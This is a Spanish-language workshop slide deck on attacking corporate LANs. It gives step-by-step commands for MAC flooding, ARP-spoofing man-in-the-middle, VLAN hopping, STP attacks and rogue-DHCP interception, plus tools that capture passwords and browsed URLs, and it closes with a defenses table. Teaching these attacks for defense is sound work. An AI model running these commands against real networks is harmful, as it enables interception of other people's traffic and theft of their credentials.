1. HACKING EN REDES LAN
Paulo Colomés
Junio 2019
Email: pcolomes@nis.cl
Twitter: pcolomes
2. HACKING EN REDES LAN – PAULO COLOMÉS
OBJETIVO
Demostrar las técnicas más comunes de vulneración / ataque informático en
infraestructuras de redes locales (LAN) dentro de una red corporativa.
AGENDA
1. Sniffing
2. MAC Flooding Attack y DoS de CDP
3. ARP Spoofing
4. VLAN Hopping Attack
5. Ataques a Spanning Tree
6. Otros ataques
7. Cómo protegerse
Nota: Este taller está disponible gratuitamente en
https://www.youtube.com/pcolomes
3. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
1. SNIFFING
HACKING EN REDES LAN – PAULO COLOMÉS
4. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Tipo de tráfico interesante:
• Tráfico ARP
• Mensajes STP (BPDUs)
• Tráfico CDP (Cisco Discovery Protocol) – LLDP (Link Layer Discovery Protocol)
• Mensajes VTP (VLAN Trunking Protocol) – DTP (Dynamic Trunking Protocol)
• Tráfico DHCP
• Tráfico HSRP/VRRP
• Tráfico etiquetado (VLANs) con IEEE 802.1q
• Tráfico mDNS
• Tráfico UPnP
CDP
VTP
ARP
STP
LLDP
DTP
HACKING EN REDES LAN – PAULO COLOMÉS
5. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Un sniffer, o más elegantemente “un analizador de tráfico en tiempo real”, es una herramienta que permite visualizar
el contenido del tráfico entrante y saliente en un punto determinado de la red.
Un sniffer es una de las herramientas más importantes para resolver problemas de red (troubleshooting)
Ideal para análisis en entorno gráfico
o tshark para CLI
Ideal para análisis en entorno de líneas
de comando
Dos de los sniffers más populares:
HACKING EN REDES LAN – PAULO COLOMÉS
6. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
INTERNET
FIREWALL/ROUTER LOCAL
192.168.76.254
192.168.76.1/24
192.168.76.2/24 192.168.76.3/24
Tráfico Unicast (1 a 1)
Tráfico Multicast (1 a grupo)
Tráfico Broadcast (1 a todos)
192.168.76.3/24
192.168.76.4/24
HACKING EN REDES LAN – PAULO COLOMÉS
7. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
INTERNET
FIREWALL/ROUTER LOCAL
192.168.76.254
192.168.76.1/24
192.168.76.2/24 192.168.76.3/24
Tráfico Unicast (1 a 1)
Tráfico Multicast (1 a grupo)
Tráfico Broadcast (1 a todos)
192.168.76.3/24
192.168.76.4/24
HACKING EN REDES LAN – PAULO COLOMÉS
8. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
INTERNET
FIREWALL/ROUTER LOCAL
192.168.76.254
192.168.76.1/24
192.168.76.2/24 192.168.76.3/24
Tráfico Unicast (1 a 1)
Tráfico Multicast (1 a grupo)
Tráfico Broadcast (1 a todos)
192.168.76.3/24
192.168.76.4/24
HACKING EN REDES LAN – PAULO COLOMÉS
9. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
COMANDOS BÁSICOS DE TCPDUMP
tcpdump -i eth0
tcpdump -ni eth0
tcpdump -eni eth0
tcpdump -eni eth0 –vv
tcpdump -eni eth0 –vv –X
tcpdump -eni eth0 –vv –X host 8.8.8.8
tcpdump -eni eth0 –vv –X host 192.168.0.229 and not tcp port 80
-i = interface
-n = numérico (no resolver nombres DNS)
-e = Ethernet (mostrar información de la trama Ethernet)
-v = Verbose (mostrar más detalles)
-X = Muestra contenido interno del paquete IP
host = filtra por host específico
not = deniega la acción siguiente
port = especifica un puerto UDP o TCP
HACKING EN REDES LAN – PAULO COLOMÉS
10. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
OPCIONES BÁSICAS DE WIRESHARK
Wireshark puede usar comandos de TCPDUMP para filtrar paquetes a nivel de red o filtros propios para filtrar a nivel de
aplicación
ip.addr==10.0.0.5
http
tcp.port==80
|| or
! not
&& and
Ejemplo:
Mostrar todo el tráfico que NO venga/vaya hacia/desde la IP 192.168.76.4 y que sea HTTPS (puerto 443)
ip.addr!=192.168.76.4 && tcp.port == 443
No mostrar el tráfico multicast ni broadcast
! (eth.dst[0] & 1)
HACKING EN REDES LAN – PAULO COLOMÉS
11. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
¿Qué tipo de tráfico es interesante desde el punto de vista de un ataque?
• Información de carpetas compartidas en red (NetBIOS, CIFS, SMB)
• Consultas/respuestas DHCP
• Tráfico de administración de red sin cifrar: Telnet, SNMP
• Tráfico generado automáticamente por dispositivos de red: STP, VTP, CDP, LLDP, DTP, HSRP,
VRRP
• Tráfico sin cifrar (HTTP, SMTP, POP, etc) cuya IP de origen o destino no sea la nuestra
HACKING EN REDES LAN – PAULO COLOMÉS
12. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
¿Qué tipo de tráfico es interesante desde el punto de vista de un ataque?
Los mensajes originados por protocolos como CDP o LLDP pueden
ayudar a identificar la versión del sistema operativo de un dispositivo
de red y de esa manera verificar si existe algún exploit disponible.
Cisco Catalyst 2960 IOS 12.2(55)SE1
'ROCEM' Remote Code Execution
https://www.exploit-db.com/exploits/42122
HACKING EN REDES LAN – PAULO COLOMÉS
13. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
2. MAC Flooding Attack y DoS de CDP
MAC
MAC
MAC
MAC
MAC
MAC MAC
MAC
MAC
MAC
MAC
MAC
MAC
HACKING EN REDES LAN – PAULO COLOMÉS
14. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Para comprender un ataque de MAC Flooding es necesario comprender como funciona un switch Ethernet a
diferencia de un hub.
1
2
3 4
HUB
Host 1
Host 2
Host 3 Host 4
Tráfico desde Host 1 a Host 3
HACKING EN REDES LAN – PAULO COLOMÉS
15. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Para comprender un ataque de MAC Flooding es necesario comprender como funciona un switch Ethernet a
diferencia de un hub.
1
2
3 4
HUB
Host 1
Host 2
Host 3 Host 4
Tráfico desde Host 1 a Host 3
1
2
3 4
SWITCH
Host 1
Host 2
Host 3 Host 4
Tráfico desde Host 1 a Host 3
HACKING EN REDES LAN – PAULO COLOMÉS
16. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Un switch puede ‘conmutar’ (switching) desde el origen al puerto de destino únicamente, creando un circuito virtual
dedicado entre las máquinas involucradas en la conexión gracias a la existencia de la tabla de memoria de contenido
direccionable o tabla CAM (Content-Addressable Memory)
1
2
3 4
Host 1
00:00:0A
VLAN Puerto MAC
1 1 00:00:0A
1 2 00:00:0B
1 3 00:00:0C
1 4 00:00:0D
1 9 00:00:F1
1 9 00:00:AC
Host 2
00:00:0B Host 3
00:00:0C Host 4
00:00:0D
Host 5
00:00:F1 Host 6
00:00:AC
127
19
VLAN Puerto MAC
1 1 00:00:0A
1 1 00:00:0B
1 1 00:00:0C
1 1 00:00:0D
1 7 00:00:F1
1 12 00:00:AC
Tabla CAM Switch 1
Tabla CAM Switch 2
Switch 1 Switch 2
00:00:F1 00:00:0A ICMP
DST MAC SRC MAC IP PACKET
HACKING EN REDES LAN – PAULO COLOMÉS
17. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Cuando un switch no conoce una MAC de destino, no descarta la trama sino que la reenvía a todos (broadcast) con el fin de
hacer lo posible para lograr la conexión. Este comportamiento puede ser explotado para forzar al switch a espiar tráfico
destinado a otro usuario al ejecutar un ataque denominado “inundación de direcciones MAC” o MAC Flooding Attack.
1
2
3 4
Host 1
00:00:0A
VLAN Puerto MAC
1 1 00:00:0A
1 2 00:00:0B
1 3 00:00:0C
1 4 00:00:0D
1 9 00:00:F1
1 9 00:00:AC
Host 2
00:00:0B Host 3
00:00:0C Host 4
00:00:0D
Host 5
00:00:F1 Host 6
00:00:AC
127
19
VLAN Puerto MAC
1 1 00:00:0A
1 1 00:00:0B
1 1 00:00:0C
1 1 00:00:0D
1 7 00:00:F1
1 12 00:00:AC
Tabla CAM Switch 1
Tabla CAM Switch 2
Switch 1 Switch 2
HACKING EN REDES LAN – PAULO COLOMÉS
18. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Cuando un switch no conoce una MAC de destino, no descarta la trama sino que la reenvía a todos (broadcast) con el fin de
hacer lo posible para lograr la conexión. Este comportamiento puede ser explotado para forzar al switch a espiar tráfico
destinado a otro usuario al ejecutar un ataque denominado “inundación de direcciones MAC” o MAC Flooding Attack.
1
2
3 4
Host 1
00:00:0A
VLAN Puerto MAC
1 4 FF:01:AC
1 4 00:11:12
1 4 D1:D2:AA
1 4 AB:C1:D3
1 4 00:88:FC
1 4 67:4D:11
Host 2
00:00:0B Host 3
00:00:0C Host 4
00:00:0D
Host 5
00:00:F1 Host 6
00:00:AC
127
19
VLAN Puerto MAC
1 1 FF:01:AC
1 1 00:11:12
1 1 D1:D2:AA
1 1 AB:C1:D3
1 1 00:88:FC
1 1 67:4D:11
Tabla CAM Switch 1
Tabla CAM Switch 2
Switch 1 Switch 2
HACKING EN REDES LAN – PAULO COLOMÉS
19. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Este ataque se ejecuta con una sola herramienta disponible en cualquier distribución Linux:
#macof
Nota: si no está disponible el comando, se debe instalar el paquete ‘dsniff’
macof = MAC OverFlow
HACKING EN REDES LAN – PAULO COLOMÉS
20. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Este ataque se ejecuta con una sola herramienta disponible en cualquier distribución Linux:
#macof
Mientras el ataque está en ejecución se debe usar wireshark o tcpdump para filtrar el tráfico de acuerdo a la IP que
queremos interceptar:
TCPDUMP:
tcpdump –ni eth0 host 192.168.76.4
WIRESHARK:
ip.addr==192.168.76.4
Por defecto el valor del parámetro “Aging Time” de la tabla CAM en un switch Cisco es de 300 segundos
HACKING EN REDES LAN – PAULO COLOMÉS
21. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Otro ataque sencillo de implementar es un DoS (Denial of Service) contra el protocolo CDP (Cisco Discovery
Protocol). El mismo ataque puede implementarse contra switches de otras marcas que utilicen LLDP (Link-Layer
Discovery Protocol)
1
2
3 4
Host 2
00:00:0B Host 3
00:00:0C Host 4
00:00:0D
Switch 1
Host 1
00:00:0A
Mensajes CDP
enviados cada 60
segundos
HACKING EN REDES LAN – PAULO COLOMÉS
22. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Otro ataque sencillo de implementar es un DoS (Denial of Service) contra el protocolo CDP (Cisco Discovery
Protocol). El mismo ataque puede implementarse contra switches de otras marcas que utilicen LLDP (Link-Layer
Discovery Protocol)
#yersinia -G
HACKING EN REDES LAN – PAULO COLOMÉS
23. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
3. MITM (Man-In-The-Middle) y ARP
Spoofing
HACKING EN REDES LAN – PAULO COLOMÉS
24. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Man-in-the-Middle
Comunicación original
X
Comunicación interceptada
HACKING EN REDES LAN – PAULO COLOMÉS
25. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
ARPSPOOF
1. Identificar la IP de una víctima (ej: 192.168.76.22) y la IP de la puerta de enlace de la red (ej:
192.168.76.1)
2. Ejecutar el siguiente comando en un terminal:
# arpspoof –i eth0 192.168.76.22 192.168.76.1
3. Sin cerrar el terminal, abrir otro y ejecutar el comando:
# arpspoof –i eth0 192.168.76.1 192.168.76.22
Una de las formas más comunes de ataques de tipo MITM en redes LAN es un ARP Spoofing o suplantación ARP. En este
ejemplo utilizaremos ARPSPOOF para lanzar el ataque.
HACKING EN REDES LAN – PAULO COLOMÉS
26. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Mientras se ejecuta el ataque ARP Spoofing podemos lanzar varias aplicaciones simultáneas que ayudarán a visualizar el
contenido interceptado
DRIFTNET: Permite visualizar en tiempo real las imágenes
# driftnet -i eth0
URLSNARF: Permite ver qué sitios se visitan
# echo “1” > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING –p tcp --destination-port 80 -j REDIRECT --to-port 8080
# urlsnarf -i eth0
DSNIFF: Permite ver contraseñas de los servicios más comunes sin cifrar (HTTP, Telnet, FTP, SMTP, etc)
# dsniff -i eth0
HACKING EN REDES LAN – PAULO COLOMÉS
27. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Ettercap
# ettercap –G
1. Start -> Unified Sniffing -> Seleccionar interface (eth0)
2. Hosts -> Scan for hosts y cuando termine, nuevamente Hosts -> Hosts List
3. Seleccionar dos direcciones y agregarlas como Target 1 y Target 2. Idealmente Target 2 debiese ser el
router
4. Plugins -> Manage the Plugins -> Seleccionar ”remote_browser”
5. MITM -> ARP Poisoning -> Sniff remote connections
6. Abrir Firefox en Kali
Ettercap es una herramienta más completa para lanzar este tipo de ataques.
HACKING EN REDES LAN – PAULO COLOMÉS
28. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
4. VLAN Hopping Attack
HACKING EN REDES LAN – PAULO COLOMÉS
29. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
VLAN Hopping Attack
1
2
3 4
Host 1
Host 2
Host 3 Host 4
1
2
3 4
Host 1
Host 2
Host 3 Host 4
10 10
ENLACE TRONCAL IEEE 802.1q
VLAN 10
VLAN 20
VLAN
10
VLAN
20
VLAN
20
VLAN
10
HACKING EN REDES LAN – PAULO COLOMÉS
30. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
VLAN Hopping Attack
1
2
3 4
Host 1
Host 2
Host 3 Host 4
1
2
3 4
Host 1
Host 2
Host 3 Host 4
10 10
ENLACE TRONCAL IEEE 802.1q
Modo por defecto DTP:
Dynamic Desirable
El atacante se conecta a un puerto que recibe tramas DTP y simula ser un switch que quiere formar un enlace troncal.
HACKING EN REDES LAN – PAULO COLOMÉS
31. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
VLAN Hopping Attack
1
2
3 4
Host 1
Host 2
Host 3 Host 4
1
2
3 4
Host 1
Host 2
Host 3 Host 4
10 10
ENLACE TRONCAL IEEE 802.1q
Modo por defecto DTP:
Dynamic Desirable
Con Yersinia, el atacante puede enviar tramas DTP al switch para formar un enlace troncal y así tener acceso a todas las
VLANs
HACKING EN REDES LAN – PAULO COLOMÉS
32. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
VLAN Hopping Attack
# modprobe 8021q
# vconfig add eth0 20
# ifconfig eth0.20 up
# ifconfig eth0.20 192.168.20.177 up
HACKING EN REDES LAN – PAULO COLOMÉS
33. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
5. Ataques a Spanning Tree Protocol
HACKING EN REDES LAN – PAULO COLOMÉS
34. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Ataques a STP
S1
S2 S3
(Root Bridge)
HACKING EN REDES LAN – PAULO COLOMÉS
35. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
Ataques a STP
S1
S2 S3
(Root Bridge)
Utilizando Yersinia, un atacante puede
burlar a los switches haciéndoles creer
que él es un switch con mejor prioridad
para convertirse en la raíz de la
topología (root)
HACKING EN REDES LAN – PAULO COLOMÉS
36. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
6. DHCP Spoofing (Suplantación de DHCP)
HACKING EN REDES LAN – PAULO COLOMÉS
37. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
1
2
3 4
Host 2
Host 3
Host 4
Host 1
192.168.76.254/24
(Servidor DHCP)
El ataque de suplantación de DHCP o DHCP Spoofing consiste en levantar un servidor DHCP adicional en la red que obligue
a los usuarios a usar la dirección IP del atacante local como puerta de enlace para Internet y así poder interceptar el tráfico.
HACKING EN REDES LAN – PAULO COLOMÉS
38. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
1
2
3 4
Host 2
Host 3
Host 4
eth0 192.168.76.33/24
eth0:1 10.10.10.1/24
192.168.76.254/24
(Servidor DHCP)
Paso 1: Habilitar una segunda dirección IP en la interfaz eth0 de tal manera que la máquina atacante utilice la IP legítima
para salir a Internet y la IP falsa para entregar DHCP a los demás usuarios
# ifconfig
# ifconfig eth0:1 10.10.10.1/24
# ifconfig
Host 1
HACKING EN REDES LAN – PAULO COLOMÉS
39. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
1
2
3 4
Host 2
Host 3
Host 1
192.168.76.254/24
(Servidor DHCP)
Paso 2: Ejecutar un ataque de DHCP Starvation contra el servidor real
# yersinia -G
Host 4
eth0 192.168.76.33/24
eth0:1 10.10.10.1/24
DHCP DISCOVER
DHCP DORA
CLIENTE SERVER
DISCOVER
OFFER
REQUEST
ACK
HACKING EN REDES LAN – PAULO COLOMÉS
40. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
1
2
3 4
Host 2
Host 3
Host 1
192.168.76.254/24
(Servidor DHCP)
Paso 3: Levantar un servidor DHCP con un rango IP totalmente diferente al actual
# apt-get update
# apt-get install dnsmasq -y
EDITAR EL ARCHIVO /etc/dnsmasq.conf:
interface=eth0:1
dhcp-range=10.10.88.10,10.10.88.250,1h
dhcp-option=3,10.88.10.1
dhcp-option=6,8.8.8.8
REINICIAR SERVICIO
# /etc/init.d/dnsmasq.conf
Host 4
eth0 192.168.76.33/24
eth0:1 10.10.10.1/24
RESPALDAR EL ARCHIVO /etc/dnsmasq.conf
# mv /etc/dnsmasq.conf /etc/dnsmasq.conf.original
MONITOREAR ASIGNACIONES DHCP
# tail –f /var/lib/misc/dnsmasq.leases
HACKING EN REDES LAN – PAULO COLOMÉS
41. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
1
2
3 4
Host 2
Host 3
Host 1
192.168.76.254/24
(Servidor DHCP)
Paso 4: Configurar nuestro equipo como router (NAT) para procesar las consultas de clientes y reenviarlas a INTERNET
# echo ”1” > /proc/sys/net/ipv4/ip_forward
Host 4
eth0 192.168.76.33/24
eth0:1 10.10.10.1/24
Aplicar NAT en iptables
# iptables –t nat –A POSTROUTING –s 10.10.88.0/24 –o eth0 –j MASQUERADE
# iptables –A FORWARD –i eth0:1 –j ACCEPT
HACKING EN REDES LAN – PAULO COLOMÉS
42. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
1
2
3 4
Host 2
Host 3
Host 1
192.168.76.254/24
(Servidor DHCP)
Paso 4: Analizar el tráfico de la red con un sniffer o herramientas como XPLICO o Ethercap
Host 4
eth0 192.168.76.33/24
eth0:1 10.10.10.1/24
Host 1
Wireshark
Urlsnarf
Driftnet
Dsniff
Xplico
SSLStrip
HACKING EN REDES LAN – PAULO COLOMÉS
43. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
¿CÓMO PROTEGERSE?
SNIFFING Tráfico Cifrado
MAC FLOOD Activar Port Security
CDP/LLDP
DoS
Deshabilitar CDP/LLDP
ARP
Spoofing ARP Estático, DAI, ARP Watchdog
VLAN
Hopping Deshabilitar DTP
Ataques a
STP BPDU Guard, Root Guard
HACKING EN REDES LAN – PAULO COLOMÉS
44. TALLER DE HACKING EN REDES LAN – PAULO COLOMÉS
MUCHAS GRACIAS POR SU ATENCIÓN
HACKING EN REDES LAN – PAULO COLOMÉS